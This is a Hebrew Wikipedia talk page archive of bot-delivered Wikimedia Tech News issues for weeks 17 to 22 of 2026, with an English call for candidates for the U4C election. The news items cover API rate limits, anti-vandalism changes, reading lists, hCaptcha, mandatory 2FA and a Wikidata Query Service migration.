* בעקבות היישום של הגבלות גלובליות על קצב API בזמן האחרון תמשיך קרן ויקימדיה לוודא [[mw:Special:MyLanguage/MediaWiki Product Insights/Responsible Reuse|שימוש הוגן בתשתית]] באמצעות השתת הגבלות גלובליות על טראפיק API מזוהה, בשבוע האחרון של אפריל. ההגבלות נקבעו גבוהות ככל האפשר בכוונה, כדי לצמצם השפעות על הקהילה. בוטים הרצים על Toolforge/WMCS או עם הרשאות בוט על ויקי כלשהיא לא יושפעו נכון לעכשיו. בכל זאת, כדאי למפתחים להשתמש בהמלצות המעודכנות. למידע נוסף ראו [[mw:Special:MyLanguage/Wikimedia APIs/Rate limits|Wikimedia APIs/Rate limits]] ו-[[mw:Special:MyLanguage/Wikimedia APIs/Rate limits/FAQ|FAQ]].
* ה-[[mw:Special:MyLanguage/Attribution API|Attribution API]] זמין עכשיו ב[[mw:Special:MyLanguage/Wikimedia APIs/Stability policy|בטא]]. ה-API הזה שולף מידע על קרדיטים של ערכים וקבצים במדיה-ויקי כשנעשה בהם שימוש. התיעוד זמין באמצעות הדף המיוחד של ארגז החול של REST בכל אתרי ויקי של ויקימדיה, דוגמת [https://en.wikipedia.org/w/index.php?api=attribution.v0-beta&amp;title=Special%3ARestSandbox ארגז החול של REST בוויקיאנגלית]. ניתן להשאיר משוב ב[[mw:Talk:Attribution API|דף השיחה של המיזם]].
* לא תהיה גרסת מדיה־ויקי חדשה השבוע.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/17|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W17&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 18:01, 20 באפריל 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30432763 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 18 ==

&lt;section begin=&quot;technews-2026-W18&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/18|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* במסגרת שיפור ההגנה נגד משחיתים נעשה שינוי בדרך בה משתמשים חדשים נכנסים אוטומטית לקבוצת המשתמשים המאומתים, [[{{int:grouppage-autoconfirmed/{{CONTENTLANGUAGE}}}}|{{int:group-autoconfirmed}}]]. עד כה זה קרה לאחר ותק מסוים שנקבע מראש מרגע יצירת החשבון ולאחר מספר מסוים של עריכות, שנקבע מראש גם כן. נעשה בזה שימוש לרעה בידי משחיתים שיצרו חשבונות והשתמשו בהם לאחר המתנה. כדי למנוע זאת בשבוע הבא המנגנון ישתנה והוותק יחושב מהעריכה הראשונה במקום מרגע ההרשמה. כל המספרים יישארו כבעבר. השינוי לא יפעל באתרי ויקי בהם הוחלט כי אין צורך בכמות עריכות מסוימת כדי להצטרף לקבוצה. [https://phabricator.wikimedia.org/T418484]
* כל המשתמשים החדשים באתרי ויקיפדיה, כמו גם שאר המשתמשים שהדליקו את ההפעלה האוטומטית של תכונות הבטא החדשות, יכולים עכשיו להשתמש בתכונת [[mw:Special:MyLanguage/Readers/Reader Experience/WE3.3.4 Reading lists|רשימות קריאה]] כדי לשמור ערכים לקריאה עתידית. זה מאפשר לארגן את כל מה שהמשתמש מעוניין לקרוא במקום אחד, לגישה קלה יותר. 
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:30|התקלה שדווחה|כל {{formatnum:30}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה בגללה תמונות בתבניות מידע קיבלו שוליים ענקיים בפיירפוקס. [https://phabricator.wikimedia.org/T423676]

'''עדכונים לעורכים הטכניים'''
* להזכירכם, הגבלות הקצב הגלובליות של API יופעלו השבוע לטראפיק API מזוהה. זה יעזור לוודא [[mw:MediaWiki Product Insights/Responsible Reuse|שימוש הוגן בתשתית]]. הבוטים הרצים על Toolforge/WMCS או עם הרשאות בוט על ויקי כלשהיא לא יושפעו נכון לעכשיו. בכל זאת, כדאי למפתחים להשתמש בהמלצות המעודכנות. למידע נוסף, כולל הגבלות מעודכנות, ראו [[mw:Wikimedia APIs/Rate limits|Wikimedia APIs/Rate limits]] ו-[[mw:Wikimedia APIs/Rate limits/FAQ|FAQ]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.26|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/18|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W18&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:06, 27 באפריל 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30458046 --&gt;

== You may be an eligible candidate for the U4C election ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;
Greetings,

The [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee (U4C)]] seeks candidates for the 2026 election. The U4C is the global committee responsible for overseeing enforcement of the [[foundation:Special:MyLanguage/Policy:Universal Code of Conduct|Universal Code of Conduct]]. Elections are held annually, if elected a committee member serves for two years.

This year the U4C requires candidates to hold administrator rights on at least one wiki, which is why you are being contacted as you appear to hold this right. There are other requirements, such as candidates must be at least 18 years old and may not be employed by the Wikimedia Foundation or other related chapters and affiliates. You can find more information in the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026#Call_for_Candidates|call for candidates on Meta-wiki]]. Additionally, the committee's working language is English; some ability to communicate in English is required.

The election opens on 18 May, if you are eligible and interested you have until 10 May to submit your candidacy. There will week between for candidates to answer questions from the community. Voting takes place privately in [[m:Special:MyLanguage/SecurePoll|SecurePoll]], successful candidates must receive at least 60% support. More information is available on [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|the 2026 Elections page]], including timelines and other candidacy information. If you read over the material and consider yourself qualified, please consider submitting your name to run for the committee. If you think someone else in your community might be interested and qualified, please encourage them to run.

In partnership with the U4C -- [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User_talk:Keegan (WMF)|talk]]) 21:33, 28 באפריל 2026 (IDT) &lt;/div&gt;
&lt;!-- הודעה שנשלחה על־ידי User:Keegan (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=User:Keegan_(WMF)/test&amp;oldid=30471754 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 19 ==

&lt;section begin=&quot;technews-2026-W19&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/19|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות [[mw:Special:MyLanguage/Article guidance|הנחיית הערכים]] מזמין עורכים מנוסים מ[[mw:Special:MyLanguage/Article guidance/Pilot wikis and collaborators|וויקיפדיות הניסיוניות]] בשפות הערבית, בנגלה, היפנית, הפורטוגזית, הפרסית, הטורקית, האנגלית הפשוטה, הספרדית והצרפתית לעזור בתרגום והתאמת [https://b24e11a4f1.catalyst.wmcloud.org/wiki/Category:Pages_using_article_guidance קווי המתאר לדוגמה]. קווי המתאר הללו יכוונו עורכים ביצירת ערכים נקיים, בנויים היטב ותואמים למדיניות באמצעות השימוש ב[https://b24e11a4f1.catalyst.wmcloud.org/wiki/Special:NewArticle כלי] הזה לאחר שיתחיל לפעול במאי 2026. ניתן לקרוא [[mw:Special:MyLanguage/Article guidance#Adapting a sample outline in a Wikipedia|הנחיות פשוטות]] לגבי התרגום וההתאמה.
'''עדכונים לעורכים'''
* [[:m:Special:MyLanguage/Product and Technology Advisory Council|מועצת המוצר והטכנולוגיה]] פרסמה את [[:m:Special:MyLanguage/Product and Technology Advisory Council/May 2026 draft PTAC recommendation for feedback|טיוטת ההמלצות]] לגבי מודל שהשותפים יכולים להשתמש בו כדי לתרום בתחום הטכני. חברי הקהילה מוזמנים להשאיר משוב לגבי ההמלצות עד ל-8 במאי ב[[:m:Talk:Product and Technology Advisory Council/May 2026 draft PTAC recommendation for feedback|דף השיחה]].
* מספר סוגי התמונות הממוזערות בהעדפות במדיה-ויקי יצומצם לשלושה בלבד, והם קטן (180px), רגיל (250px) וגדול (400px). זה נעשה כחלק מהמאמץ המתמשך לשיפור היעילות והורדת הלחץ על התוכנה המייצרת את התמונות הממוזערות. כתוצאה מכך ימופו ההעדפות הקיימות למידות החדשות הקרובות ביותר. למשל, בחירות קטנות כמו 120px או 150px יהפכו ל-180px, והגדולות כמו 300px או 360px יהפכו ל-400px. ממשק ההעדפות יעודכן בהתאם בקרוב, והמשתמשים המעוניינים להסיר את ההעדפה או להשאיר משוב יכולים לעשות זאת. [https://phabricator.wikimedia.org/T424909]
* החל מעכשיו כשהרשאות פגות אוטומטית יקבלו המשתמשים הודעה כחולה דומה לזאת שנשלחת כשההרשאות משתנות ידנית. קיים הבדל בין המנגנון הזה ל[[m:Special:MyLanguage/Global reminder bot|בוט התזכורות הגלובלי]] ששולח תזכורת בדף השיחה שבוע לפני סיום ההרשאה.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:32|התקלה שדווחה|כל {{formatnum:32}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הבעיה בגללה התגלגל בוחר השפות בדף [[m:Special:Translate|Special:Translate]] ללא צורך. עד כה כשהמשתמשים פתחו את התרגום לאנגלית והקלידו קלטים מסוימים חלון הדיאלוג קפץ כלפי מעלה בכמה פיקסלים גם כשהיה מספיק מקום בדף לכל התוצאות. התפריט לא זז יותר בלי סיבה בזמן סינון השפות. [https://phabricator.wikimedia.org/T358864] 
* [[m:Special:GlobalWatchlist|רשימת המעקב הגלובלית]] המאפשרת להציג רשימות מעקב מאתרים רבים בדף אחד ממשיכה להשתפר. למשל, רשימות המעקב לאתרי ויקיבייס דוגמת [[:d:|ויקינתונים]] תומכות עכשיו בפריטי [[mw:Special:MyLanguage/Extension:EntitySchema|EntitySchema]] למעקב טוב יותר. מצב העדכונים החיים מתחדש עכשיו מדי 60 שניות כדי להתאים ל[[mw:Special:MyLanguage/Wikimedia APIs/Rate limits|הגבלות הקצב הגלובליות של API]] החדשות, למען תגובה משופרת בזמן אמת. כמו כן, תוקן באג בכיווניות שהציג קישורים עם טקסט &quot;שינויים 3&quot; במקום &quot;3 שינויים&quot; ברשימות עם כיווניות לשני הצדדים. [https://phabricator.wikimedia.org/T415450][https://phabricator.wikimedia.org/T424422][https://phabricator.wikimedia.org/T418091]
'''עדכונים לעורכים הטכניים'''
* בוצע השלב השני של [[mw:Special:MyLanguage/Wikimedia APIs/Rate limits|הגבלות הקצב הגלובליות של API]], וזאת כדי לצמצם את [[diffblog:2026/03/26/quo-vadis-crawlers-progress-and-whats-next-on-safeguarding-our-infrastructure/|השפעת ה-AI הקוצרים]] ולוודא גישה הוגנת ובת קיימא למשאבי ויקימדיה, בהעדפת פעולות אנושיות וטראפיק של משימות ויקי. [[mw:Special:MyLanguage/Wikimedia APIs/Rate limits#Limits|ההגבלות]] שונו ממספרים מסויימים לשעה למספרים מסויימים לדקה, ובכך יצרו תבניות טראפיק חלקות יותר וכמות קריאות צפויה יותר. המשתמשים בקהילות לא צפויים להיות מושפעים ולא נדרשות שום פעולות להתאמה. ניתן כבר לראות שחלק משולחי הקריאות ל-API מבוססות User-Agent מתאמים את פעילותם, וזוהה 64% מטראפיק APU אוטומטי. המעקב נמשך, והמנגנון של Wikimedia Enterprise ממשיך להיות זמין ללקוחות מסחריים.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.27|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/19|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W19&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:43, 4 במאי 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30498077 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 20 ==

&lt;section begin=&quot;technews-2026-W20&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/20|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות טכנולוגיית הקהילה פרסם [[m:Special:MyLanguage/Community Wishlist/How to write a good wish|הנחיות חדשות]] המסבירות כיצד נבחרות ומקבלות ההעדפה משאלות חדשות בסקר משאלות הקהילה. התיעוד מיועד לעזור לתורמים לכתוב הצעות חזקות יותר באמצעות הבהרת הגורמים המשפיעים על תיעדוף ההחלטות. מעבר לספירת הקולות מדגישות ההנחיות שיקולים כמו השפעה אפשרית על הקהילה בזמן קבלת ההחלטה לגבי מה יהיו המשאלות שיקודמו.

'''עדכונים לעורכים'''
* צוות הקריאה של Growth משיק ניסוי לבדיקת [[mw:Special:MyLanguage/Readers/Reader_Growth/Share_Card|כרטיס השיתוף]] החדש המאפשר לקוראים ליצור כרטיסים ויזואליים מערכי ויקיפדיה או פרקים נבחרים בערכים ולשתף אותם ברשת, כשכל כרטיס כזה כולל קישור חזרה לערך המקורי, כדי להרחיב את מספר הקוראים וגילוי הערכים. בדיקת A/B בניידים תהיה זמינה לחלק מהקוראים בוויקיפדיות בערבית, סינית, צרפתית, ויאטנאמית ואנגלית, כדי להבין טוב יותר הרגלי קריאה ושיתוף, והיא תתחיל בשבוע של 18 במאי למשך ארבעה שבועות.
* היישומונים לוויקיפדיה עבור אנדרואיד ו-iOS פרסמו בזמן האחרון את [[mw:Special:MyLanguage/Wikimedia_Apps/Team/25th_Birthday_Reading_Challenge|אתגר הקריאה ל-25 ימים]] כתכונת בטא, וזאת כחלק מהמאמצים למשוך קוראים באמצעות עידוד המשתתפים לבצע משימות קריאה. כדי לעקוב אחר ההתקדמות באתגר יוכלו משתמשי היישומונים להוסיף וידג'ט בהובלת דמותו של בייבי גלוב למסך הבית שלהם. האתגר יתחיל רשמית ב-11 במאי.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:17|התקלה שדווחה|כל {{formatnum:17}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה בגללה ההעדפות הגלובליות להפעלת צביעת קוד ויקי כובו בפתאומיות לאחר ההדלקה. [https://phabricator.wikimedia.org/T425286]

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-tools.svg|12px|link=|alt=|דיווח טכני]] המודול של ResourceLoader בשם &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;mediawiki.ui.input&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt;, שהוכרז כמיושן מ[[m:Special:MyLanguage/Tech/News/2023/39|ספטמבר 2023]], יוסר השבוע. קיים [[mw:Special:MyLanguage/Codex/Migrating_from_MediaWiki_UI|מדריך המעבר מ-MediaWiki UI ל-Codex]], לכלים המשתמשים במודול. [https://phabricator.wikimedia.org/T420125]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.47/wmf.2|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/20|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W20&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:20, 11 במאי 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30524429 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 21 ==

&lt;section begin=&quot;technews-2026-W21&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/21|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* הצוות של Abstract Wikipedia זיהה חמישה אתרי ויקי אפשריים לפיילוט שניתן לבדוק את התעניינותם בהפעלת ערכים מופשטים. מדובר בוויקיפדיות במלאיאלאם, בנגלית, דגבני, ערבית ואינדונזית. תקופת המשוב תפתח ב-22 במאי. אם קהילתכם מעוניינת להפוך לפיילוט [[m:Talk:Abstract Wikipedia|ניתן לפנות במטא]].

'''עדכונים לעורכים'''
* הניסוי שיציג לקוראים לא מחוברים לחשבון את [[mw:Special:MyLanguage/Readers/Reader Experience/Reading lists|רשימות הקריאה]] בניידים יחל ב-18 במאי בוויקיפדיות בגרמנית, ספרדית, איטלקית, פורטוגזית, פולנית, טורקית ואורדו, והוא יתנהל למשך חודש. המאמץ תומך ביעדים רחבים של עזרה לקוראים לשמור ולארגן ערכים לקריאה בהמשך, תוך כדי עידוד הרגלים שיכולים להביא להצטרפות לוויקיפדיה בעתיד.
* כדי לתמוך בכפתור הבוקמרק של רשימות קריאה בבטא עודכנו הקישורים בתפריט &quot;כלים -&gt; פעולות&quot; כך שיציגו גם אייקונים מתאימים. זה כולל את כוכב ההוספה לרשימת המעקב המאפשר לעורכים לזהות ערכים במעקב זמני. האייקונים תואמים עכשיו את אלו שבשימוש בניידים, מה שמשפר את הקשר בין הפלטפורמות השונות. השינוי מוגבל כרגע לתפריט הפעולות ומשפיע לרוב על עורכים עם הרשאות רחבות. [https://phabricator.wikimedia.org/T426008]
* תכונת ה-[[mw:Special:MyLanguage/VisualEditor/Suggestion Mode|Suggestion Mode]] הופעלה כחלק מ[[w:en:A/B test|בדיקת A/B]] לעורכים נרשמים באתר הנייד ב[[phab:T421189|כ-15]] ויקיפדיות. הניסוי ימדוד את השפעת התכונה על אחוז השימושים של המשתמשים הללו בעריכת בניידים שלא שוחזרו. הניסוי ייחשב גם את השפעת התכונה על שמירת העורכים וינטר שינויים בכמויות השחזורים והחסימות.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה ביישומון ויקיפדיה לאנדרואיד בגללה תמונות לפעמים לא נטענו ברשימות קריאה מומלצת לאחר פתיחת הודעות. [https://phabricator.wikimedia.org/T418231]

'''עדכונים לעורכים הטכניים'''
* [[mw:Special:MyLanguage/Wikidata Platform|צוות פלטפורמת ויקינתונים]] פרסם את [[d:Special:MyLanguage/Wikidata:SPARQL query service/WDQS backend update/Backend Replacement|המלצות החלפת הבקאנד]] ואת [[wikitech:Wikidata Query Service/WDQS Architecture re-design|הארכיטקטורה הטכנית]] הנלווית לקראת מעברו של שירות השאילתות לוויקינתונים (WDQS) מ-Blazegraph. ניתן להשאיר משוב עד ל-25 במאי 2026, במיוחד לגבי מרווחים צפויים והשפעות על מקרים מסובכים. חברי קהילת ויקינתונים ומשתמשי WDQS מוזמנים גם לעזור בזיהוי כלים ומהלכי עבודה בעלי השפעה גבוהה שייתכן יצטרכו טיפול, ב[[d:Wikidata:SPARQL query service/WDQS backend update/High-Impact Use Cases|דף הזה]]. את המשוב ניתן להשאיר ב[[d:Wikidata talk:SPARQL query service/WDQS backend update|דף השיחה של המעבר]] או במהלך [[d:Special:MyLanguage/Wikidata:Blazegraph Migration Office Hours|שעות הקבלה הקרובות]]. פרטים נוספים מופיעים ב[[d:Special:MyLanguage/Wikidata:Wikidata Platform team/Newsletter|עיתון הצוות]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.47/wmf.3|MediaWiki]]

'''לעומק'''

* בוויקיפדיות באנגלית, צרפתית, יפנית, וכמה אחרות נעשה [[diffblog:2025/09/02/better-detecting-bots-and-replacing-our-captcha/|ניסוי של hCaptcha]], שירות חיצוני לזיהוי בוטים. הניסוי הראה כי hCaptcha מזהה ומרתיע ביעילות חלק מפעילות אוטומטית זדונית, גם בעצמו גם באמצעות המלצות ל[[w:en:Wikipedia:Village pump (technical)/Archive 225#Introducing SuggestedInvestigations|בודקים ודיילים]]. עקב התוצאות החיוביות יופעל השירות בכל אתרי ויקי בשבועות הקרובים. מידע טכני והגנות פרטיות מופיעים ב[[mw:Special:MyLanguage/Product Safety and Integrity/Anti-abuse signals/hCaptcha|דף המיזם]]. ניתן גם לקבל [[diffblog:2026/05/04/better-detecting-bots-and-replacing-our-captcha-part-2/|פרטים נוספים]].
* הופיע הגליון החדש של עיתון הצוות הטכני של הקהילה. מופיעים שם עדכונים לגבי התקדמות בכמה משאלות של סקר משאלות הקהילה, כולל הרחבת רשימות הקריאה מניידים למצב מחשב, תמיכה לשונית חדשה עבור &quot;מי כתב את זה&quot; ולוח עבודה פרטי, שיפורים לתצוגות 3D ו-Charts, והעבודה הצפויה לגבי מיון דפי השיחה, השמעת קבצי קול ועריכת תהליכי העבודה. הגליון מציג גם סדרי עדיפויות נוכחיים, טרנדים במצב משאלות הקהילה, והזדמנויות לקהילה להשאיר פידבק על תחומי מיקוד עתידיים ועל התוכנית השנתית של קרן ויקימדיה לשנת 2026–2027. להרחבה ניתן לקרוא את [[m:Special:MyLanguage/Community Wishlist/Updates#May 13, 2026: Latest updates from the Community Tech team|הגליון המלא]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/21|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W21&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:22, 18 במאי 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30539262 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 22 ==

&lt;section begin=&quot;technews-2026-W22&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/22|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* בעקבות [[mw:Special:MyLanguage/Contributors/Account Creation Experiments#LOWM|הצלחת הניסוי ליצירת החשבונות]] תוצג הודעת אזהרה משופרת למשתמשים לא מחוברים החל מהשבוע הראשון של יוני. השינוי ישפיע רק על משתמשים בדפדפנים ניידים שעושים פעולות עריכה. החווייה המעודכנת עוצבה כדי לעודד יצירת חשבונות בצורה נהירה יותר, כשלמשתמשים עדיין תשאר אפשרות לערוך מחשבונות זמניים. תוצאות הניסוי הראו שיפור משמעותי ביצירת החשבונות, 27% יותר אצל אלו שראו את ההודעה המעודכנת. כצפוי כשיותר אנשים יוצרים חשבונות במצב הזה, יורד מספר החשבונות הזמניים, והוא צנח ב-16%. הניסוי לא הראה שינויים משמשמעותיים ברמת העריכות המועילות או במדדים נבדקים נוספים. [https://phabricator.wikimedia.org/T424595] 

'''עדכונים לעורכים'''
* מטעמי בטיחות נדרשים בעלי הרשאות מסוימות להפעיל את [[m:Special:MyLanguage/Mandatory two-factor authentication for users with some extended rights|האימות הדו-שלבי]], 2FA. חברי הקבוצות הללו לא יוכלו לנתק את שיטת 2FA האחרונה בחשבונם, ולא ניתן יהיה לצרף לקבוצות הללו משתמשים שאין להם 2FA מופעלת. המשתמשים יוכלו להוסיף ולהוריד שיטות זיהוי שונות כל עוד בכל רגע נתון שיטה אחת לפחות מופעלת בחשבון. בשבועות הקרובים יוסרו המשתמשים ללא 2FA מהקבוצות הללו. במיוחד זה נוגע לבירוקרטים. ניתן לראות את לוחות הזמנים בקישורים המצורפים. [https://phabricator.wikimedia.org/T423119][https://phabricator.wikimedia.org/T423120]
* [[m:Special:MyLanguage/WMDE Technical Wishes|צוות המשאלות הטכניות של WMDE]] יריץ [[w:en:בדיקת A/B|בדיקת A/B]] על [[:phab:T415904|10 אתרי ויקי]], לא כולל בעברית, כדי לבדוק את [[m:WMDE Technical Wishes/References/Reference Previews|השיפורים האפשריים ל-Reference Previews]]. הניסוי יימשך כשבועיים בין סוף מאי לתחילת יוני וישפיע על 10% מקוראים במצב מחשב באתרי ויקי המדוברים.
* לאחר שני ניסויים מוצלחים יפעיל צוות קוראים Growth את תכונת הבטא [[mw:Special:MyLanguage/Readers/Reader Growth/Image Browsing|דפדוף תמונות]] במצב נייד לכל ויקיפדיות החל מ-25 במאי. לפיכך יוכל כל מי שמופעלת אצלו בהעדפות הדלקה אוטומטית של תכונות בטא או כל מי שיפעיל את התכונה בעצמו להשתמש בכלי החדש. בראש כל ערך תופיע קרוסלה של כל התמונות בערך, כשהעורכים יוכלו [[mw:Readers/Reader_Growth/Image_Browsing#Phase_2.1_beta_feature|להוציא תמונות מסויימות מהתצוגה או להוציא ערכים מסוימים מהצגת הקרוסלה לגמרי]].
